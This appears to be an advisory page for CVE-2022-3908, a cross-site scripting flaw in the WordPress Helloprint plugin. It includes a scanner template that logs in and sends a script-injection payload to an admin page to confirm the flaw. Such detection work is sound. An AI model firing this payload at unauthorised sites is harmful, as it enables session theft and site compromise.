CVE-2022-3908: WordPress Helloprint <1.4.7 - Cross-Site Scripting

2025-08-01 WordPress Helloprint PoC Public

Description

WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-3908

info:
  name: WordPress Helloprint <1.4.7 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, potentially allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: Fixed in version 1.4.7.
  reference:
    - https://wpscan.com/vulnerability/c44802a0-8cbe-4386-9523-3b6cb44c6505
    - https://wordpress.org/plugins/helloprint/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3908
    cwe-id: CWE-79
    epss-score: 0.00897
    epss-percentile: 0.57802
    cpe: cpe:2.3:a:helloprint:helloprint:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: helloprint
    product: helloprint
    framework: wordpress
  tags: cve,cve2022,xss,wordpress,wp-plugin,helloprint,wp,authenticated,wpscan,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=language-translate.php&success=added"><script>alert(`XSS`)<%2Fscript> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "Translation added\\\"><script>alert(`XSS`)</script> successfully")'
        condition: and
# digest: 490a0046304402204a75d5cd125513e61d98c8d2bdb9cc81222b53709b2690ab624d916d21b9a1f002201eae9fbbcbd82b9441769ad62bb8caaa1ec5f4eb3bcce3657bc7c2d3cf778917:922c64590222798bb761d5b6d8e72950

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